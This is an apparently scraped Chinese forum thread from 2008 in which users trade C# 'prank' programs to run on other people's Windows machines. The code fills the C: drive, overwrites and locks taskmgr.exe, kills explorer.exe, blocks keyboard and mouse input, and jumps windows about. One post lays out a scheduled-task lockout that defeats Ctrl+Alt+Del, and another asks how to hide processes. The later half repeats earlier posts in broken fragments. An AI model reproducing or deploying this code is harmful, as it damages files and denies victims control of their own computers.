c# 恶搞代码
2008-12-25 21:10:46
也学写一个玩玩
C# code
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
this.FormBorderStyle = FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
this.Opacity = 0.01;
}
}
*************************************************************************************
瞬间填满C:\盘
C# codeSystem.IO.FileStream fs = new FileStream("C:\\1.txt", FileMode.OpenOrCreate);
fs.SetLength(System.IO.DriveInfo.GetDrives()[0].TotalFreeSpace-1024*1024);
fs.Close();
*************************************************************************************
private void RunScreenSaver()
{
String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, "*.scr");
if (screenSavers.Length > 0)
{
// 启动获取到的第一个屏保
Process.Start(new ProcessStartInfo(screenSavers[0]));
}
}
*************************************************************************************
很有意思，不过很多都看不懂，不如下面这个，怎么实现，直接在一个新的工程里写上这两句就行了吗？
// true阻止输入，false解除阻止输入

书上看的 让cpu的曲线成为一条直线,这类的程序一般都要调用系统函数吧.谁教教我怎样隐藏进程啊?
C# code;
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Threading;
namespace cpu
{
class Program
{
static void MakeUsage(float level)
{
PerformanceCounter p = new PerformanceCounter("Processor", "% Processor Time", "_Total");
if (p == null)
{
return;
}
while (true)
{
if (p.NextValue() > level)
System.Threading.Thread.Sleep(10);
}
}
static void Main(string[] args)
{
MakeUsage(1);
}
}
}

引用 364 楼 renfei0730 的回复:
如何屏蔽ctrl+alt+del？那位牛人做到了，esc不算！
C# code;
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace 二进制流屏蔽任务管理器
{
class Program
{
static void Main(string[] args)
{
FileStream MyFs;
//用二进制流的方法打开它.而且不关闭流.这样任务管理器就打不开了!
MyFs = new FileStream(Environment.ExpandEnvironmentVariables("%windir%\\system32\\taskmgr.exe"), FileMode.Open);
byte[] Mybyte = new byte[(int)MyFs.Length];
MyFs.Write(Mybyte, 0, (int)MyFs.Length);
while (true)
{
//死循环,如果没有它程序运行就结束了,什么流都关闭了。
}
}
}
}
//原理就是在后台永久性独占taskmgr.exe
**************************************************************************************
[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
public static extern int SystemParametersInfo(

/// <summary>

private void SetDestPicture(string picture)
{
if (File.Exists(picture))
{
if (Path.GetExtension(picture).ToLower() != "bmp")
{
// 其它格式文件先转换为bmp再设置
string tempFile = @"D:\test.bmp";
Image image = Image.FromFile(picture);
image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp);
picture = tempFile;
}
SystemParametersInfo(20, 0, picture, 0x2);
}
}
这个才更有点意思
可以先把当前的桌面截图,然后结束掉EXPLORER进程,接着再把之前截的桌面图作为桌面背景放上去,如此一来,用户以为桌面没变,其实那些东西只是一张背景图而已,同时鼠标也是看不见的,不过快捷键打开任务管理器还是可以,所以得先屏蔽一下

先建个Console Application，Form1的ShowInTaskBar属性false,WindowState属性Minimized，再加个timer控件，Enable属性true写入下面代码：
C# code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace 活动窗体震动
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
internal struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)]
internal static extern bool GetWindowRect(IntPtr hWnd, ref RECT rect);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)]
internal static extern void MoveWindow(IntPtr hwnd,int X,int Y,int nWidth,int nHeight,bool bRepaint);
IntPtr id;
RECT Rect = new RECT();
private void timer1_Tick(object sender, EventArgs e)
{
id = GetForegroundWindow();//id = this.Handle;只能自己跳
Random myRandom = new Random();//随机数对观众来说更壮观点
GetWindowRect(id, ref Rect);
MoveWindow(id, myRandom.Next(1024), myRandom.Next(768), Rect.right-Rect.left, Rect.bottom-Rect.top, true);
}
}
}
当年我在csdn的兄弟们帮助下完成的,不过火恰到好处,试试效果吧.自认为比上面的好玩点...

我也发一个，阻止用户输入，不过按Ctrl+Alt++del就可解除。

杀掉桌面进程啊
用户就黑屏了
恢复的时候，ctrl + alt + del
新建explorer.exe就好了
Process[] MyProcesses=Process.GetProcesses();
foreach(Process MyProcess in MyProcesses)
{
if(myProcess.Name = "explorer")
{
myProcess.Kill();
}
}
****************************************************************************************88
以前做过一个全屏透明的程序找不到了
说下思路
winform
在任务计划中自动启动该程序
全屏透明，每200毫秒调用esc 防止他用ctrl alt del
每200毫秒将鼠标移动到屏幕任意位置 防止他用鼠标
嘿嘿~
很久了 都忘记 但是绝对可行！
很不错的思路，前面的几种思路也是很不错的。
但大家应该考虑考虑前面有几个哥们提到的问题，如何去让人家安装.Net Framework这是个问题，如果这个问题解决不了，那么用C#就是空谈，就只能用其它的语言或平台了。

MyFs = new FileStream(Environment.ExpandEnvironmentVariables("%windir%\\system32\\taskmgr.exe"), FileMode.Open);
byte[] Mybyte = new byte[(int)MyFs.Length];
MyFs.Write(Mybyte, 0, (int)MyFs.Length);
while (true)
{
//死循环,如果没有它程序运行就结束了,什么流都关闭了。
}
}
}
}
//原理就是在后台永久性独占taskmgr.exe

这个才更有点意思
可以先把当前的桌面截图,然后结束掉EXPLORER进程,接着再把之前截的桌面图作为桌面背景放上去,如此一来,用户以为桌面没变,其实那些东西只是一张背景图而已,同时鼠标也是看不见的,不过快捷键打开任务管理器还是可以,所以得先屏蔽一下

}
internal struct RECT

internal static extern IntPtr GetForegroundWindow();

IntPtr id;

id = GetForegroundWindow();//id = this.Handle;只能自己跳
Random myRandom = new Random();//随机数对观众来说更壮观点
GetWindowRect(id, ref Rect);
MoveWindow(id, myRandom.Next(1024), myRandom.Next(768), Rect.right-Rect.left, Rect.bottom-Rect.top, true);
}
}
}
当年我在csdn的兄弟们帮助下完成的,不过火恰到好处,试试效果吧.自认为比上面的好玩点...

杀掉桌面进程啊
用户就黑屏了
恢复的时候，ctrl + alt + del
新建explorer.exe就好了

{
myProcess.Kill();
}
}

以前做过一个全屏透明的程序找不到了
说下思路
winform
在任务计划中自动启动该程序
全屏透明，每200毫秒调用esc 防止他用ctrl alt del
每200毫秒将鼠标移动到屏幕任意位置 防止他用鼠标
嘿嘿~
很久了 都忘记 但是绝对可行！
很不错的思路，前面的几种思路也是很不错的。
但大家应该考虑考虑前面有几个哥们提到的问题，如何去让人家安装.Net Framework这是个问题，如果这个问题解决不了，那么用C#就是空谈，就只能用其它的语言或平台了。
